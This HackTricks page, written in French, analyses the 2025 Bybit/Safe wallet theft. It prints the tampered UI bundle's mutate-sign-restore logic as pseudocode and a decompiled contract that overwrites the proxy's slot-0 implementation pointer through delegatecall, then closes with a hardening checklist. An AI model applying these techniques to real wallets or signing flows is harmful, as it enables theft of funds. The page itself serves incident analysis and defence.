Compromission du flux de signature Web3 & prise de contrôle du proxy Safe via delegatecall
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
Une chaîne de vol de cold-wallet a combiné une compromission de la supply-chain de l’interface web Safe{Wallet} avec une primitive on-chain delegatecall qui a écrasé le pointeur d’implémentation d’un proxy (slot 0). Les points clés sont :
- Si une dApp peut injecter du code dans le chemin de signature, elle peut amener un signataire à produire une signature EIP-712 valide sur des champs choisis par l’attaquant tout en restaurant les données UI originales, de sorte que les autres signataires ne s’en aperçoivent pas.
- Les proxies Safe stockent
masterCopy(implémentation) au storage slot 0. Un delegatecall vers un contrat qui écrit dans le slot 0 « met à niveau » le Safe vers la logique de l’attaquant, donnant le contrôle total du wallet.
Hors chaîne : Mutation ciblée de la signature dans Safe
Un bundle Safe altéré (_app-*.js) a ciblé sélectivement des adresses Safe et signataires spécifiques. La logique injectée s’exécutait juste avant l’appel de signature :
// Pseudocode of the malicious flow
orig = structuredClone(tx.data);
if (isVictimSafe && isVictimSigner && tx.data.operation === 0) {
tx.data.to = attackerContract;
tx.data.data = "0xa9059cbb..."; // ERC-20 transfer selector
tx.data.operation = 1; // delegatecall
tx.data.value = 0;
tx.data.safeTxGas = 45746;
const sig = await sdk.signTransaction(tx, safeVersion);
sig.data = orig; // restore original before submission
tx.data = orig;
return sig;
}
Attack properties
- Context-gated : des listes blanches codées en dur pour les Safes/signers des victimes ont réduit le bruit et abaissé la détection.
- Last-moment mutation : les champs (
to,data,operation, gas) étaient écrasés immédiatement avantsignTransaction, puis restaurés, de sorte que les payloads de proposition dans l’UI semblaient bénins alors que les signatures correspondaient au payload de l’attaquant. - EIP-712 opacity : les wallets affichaient des données structurées mais ne décodaient pas le calldata imbriqué ni ne mettaient en évidence
operation = delegatecall, rendant le message muté effectivement signé à l’aveugle.
Gateway validation relevance
Les propositions Safe sont soumises au Safe Client Gateway. Avant les contrôles renforcés, la gateway pouvait accepter une proposition où safeTxHash/signature correspondait à des champs différents du corps JSON si l’UI les réécrivait après la signature. Après l’incident, la gateway rejette désormais les propositions dont le hash/signature ne correspondent pas à la transaction soumise. Une vérification serveur similaire du hash doit être imposée sur toute API d’orchestration de signature.
2025 Bybit/Safe incident highlights
- Le 21 février 2025, le drain du cold-wallet Bybit (~401k ETH) a réutilisé le même schéma : un bundle Safe S3 compromis ne se déclenchait que pour les signers Bybit et remplaçait
operation=0→1, pointanttovers un contrat d’attaquant pré-déployé qui écrit le slot 0. - Le fichier mis en cache par Wayback
_app-52c9031bfa03da47.jsmontre la logique basée sur le Safe de Bybit (0x1db9…cf4) et les adresses des signers, puis a été immédiatement rollbacké vers un bundle propre deux minutes après l’exécution, reflétant l’astuce “mutate → sign → restore”. - Le contrat malveillant (par ex.
0x9622…c7242) contenait des fonctions simplessweepETH/sweepERC20plus untransfer(address,uint256)qui écrit le slot d’implementation. L’exécution deexecTransaction(..., operation=1, to=contract, data=transfer(newImpl,0))a déplacé l’implementation du proxy et accordé le contrôle total.
On-chain: Delegatecall proxy takeover via slot collision
Les proxies Safe conservent masterCopy au storage slot 0 et délèguent toute la logique à celui-ci. Parce que Safe supporte operation = 1 (delegatecall), toute transaction signée peut pointer vers un contrat arbitraire et exécuter son code dans le contexte de stockage du proxy.
Un contrat attaquant a imité un ERC-20 transfer(address,uint256) mais a écrit _to dans le slot 0 :
// Decompiler view (storage slot 0 write)
uint256 stor0; // slot 0
function transfer(address _to, uint256 _value) external {
stor0 = uint256(uint160(_to));
}
Chemin d’exécution:
- Les victimes signent
execTransactionavecoperation = delegatecall,to = attackerContract,data = transfer(newImpl, 0). - Le Safe masterCopy valide les signatures sur ces paramètres.
- Le proxy exécute un delegatecall vers
attackerContract; le corps detransferécrit dans le slot 0. - Le slot 0 (
masterCopy) pointe maintenant vers une logique contrôlée par l’attaquant → prise de contrôle complète du wallet et vidage des fonds.
Notes Guard & version (renforcement post-incident)
- Les Safes >= v1.3.0 peuvent installer un Guard pour interdire
delegatecallou appliquer des ACL surto/selectors ; Bybit utilisait v1.1.1, donc aucun hook Guard n’existait. Mettre à jour les contrats (et ré-ajouter les propriétaires) est requis pour obtenir ce plan de contrôle.
Checklist détection & renforcement
- Intégrité de l’UI : épingler les assets JS / SRI ; surveiller les diffs de bundle ; considérer l’UI de signature comme faisant partie de la frontière de confiance.
- Validation au moment de la signature : hardware wallets avec EIP-712 clear-signing ; afficher explicitement
operationet décoder la calldata imbriquée. Refuser la signature lorsqueoperation = 1sauf si la politique l’autorise. - Vérifications côté serveur des hash : les gateways/services qui relaient les propositions doivent recalculer
safeTxHashet valider que les signatures correspondent aux champs soumis. - Politiques/listes blanches : règles préalables pour
to, selectors, types d’actifs, et interdiredelegatecallsauf pour des flux validés. Exiger un service de politique interne avant de diffuser des transactions entièrement signées. - Conception des contrats : éviter d’exposer des
delegatecallarbitraires dans les multisig/treasury wallets sauf si strictement nécessaire. Placer les pointeurs d’upgrade à l’écart du slot 0 ou les protéger avec une logique d’upgrade explicite et un contrôle d’accès. - Surveillance : alerter sur les exécutions de
delegatecallprovenant de wallets détenant des fonds de trésorerie, et sur les propositions qui modifientoperationpar rapport aux schémas typiques decall.
Références
- AnChain.AI forensic breakdown of the Bybit Safe exploit
- Zero Hour Technology analysis of the Safe bundle compromise
- In-depth technical analysis of the Bybit hack (NCC Group)
- EIP-712
- safe-client-gateway (GitHub)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


